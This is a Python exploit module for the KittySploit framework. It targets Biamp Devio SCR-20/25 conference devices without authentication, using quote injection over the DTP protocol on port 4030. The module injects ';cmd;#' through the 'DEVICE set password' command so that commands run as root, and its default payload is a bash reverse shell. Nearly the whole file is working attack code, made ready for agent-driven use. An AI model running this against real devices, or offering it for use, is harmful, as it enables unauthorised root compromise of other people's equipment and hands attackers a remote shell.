Biamp Devio DTP quote-injection root RCE

"""Biamp Devio SCR-20/25 — Unauthenticated DTP Protocol Quote-Injection → Root RCE"""
from __future__ import annotations
from kittysploit import *
import socket
import sys
import time
import re
import os
import socket
import sys
import time

class Module(Exploit):
    __info__ = {'name': 'Biamp Devio DTP quote-injection root RCE', 'description': "Plaintext biampdtp on 4030: DEVICE set password with ';cmd;#' breaks echo -e 'biamp:VALUE' | chpasswd quoting.", 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['biamp', 'devio', 'dtp', 'rce', 'unauth'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 1, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/biamp_devio_dtp_rce_detect']}}}
    DTP_PORT = 4030
    MARKER = '/tmp/devio_rce_proof'
    port = OptPort(DTP_PORT, 'biampdtp TCP port', required=True)
    dtp_attribute = OptString('password', 'DEVICE set attribute (password/location)', required=False)

    def dtp_exchange(self, host, line, wait=3.0):
        s = socket.create_connection((host, self.DTP_PORT), timeout=8)
        s.sendall((line + '\n').encode())
        time.sleep(wait)
        try:
            s.settimeout(3.0)
            data = s.recv(4096).decode('latin1').strip()
        except Exception:
            data = '<no-response>'
        s.close()
        return data

    def _host(self) -> str:
        raw = str(getattr(self, 'rhost', None) or getattr(self, 'target', '') or '')
        if hasattr(raw, 'value'):
            raw = raw.value
        return raw.split('://')[-1].split('/')[0].split(':')[0]

    def execute(self, shell: str) -> str:
        host = self._host()
        port = int(self.port or self.DTP_PORT)
        safe = shell.replace("'", '')
        inj = "';%s;#" % safe
        attr = str(self.dtp_attribute or 'password')
        line = 'DEVICE set %s %s' % (attr, inj)
        s = socket.create_connection((host, port), timeout=8)
        s.sendall((line + '\n').encode())
        time.sleep(2.0)
        try:
            s.settimeout(3.0)
            data = s.recv(4096).decode('latin1', errors='replace').strip()
        except Exception:
            data = '<no-response>'
        s.close()
        return f'DTP {line!r} -> {data!r}'

    def check(self):
        host = self._host()
        port = int(self.port or self.DTP_PORT)
        try:
            s = socket.create_connection((host, port), timeout=5)
            s.close()
            return {'vulnerable': True, 'reason': f'DTP port {port} open', 'confidence': 'low'}
        except OSError as exc:
            return {'vulnerable': False, 'reason': str(exc), 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Port closed'))
            self.not_vulnerable()
            return False
        print_status('DTP DEVICE set injection')
        print_info(self.execute(shell))
        self.vulnerable()
        return True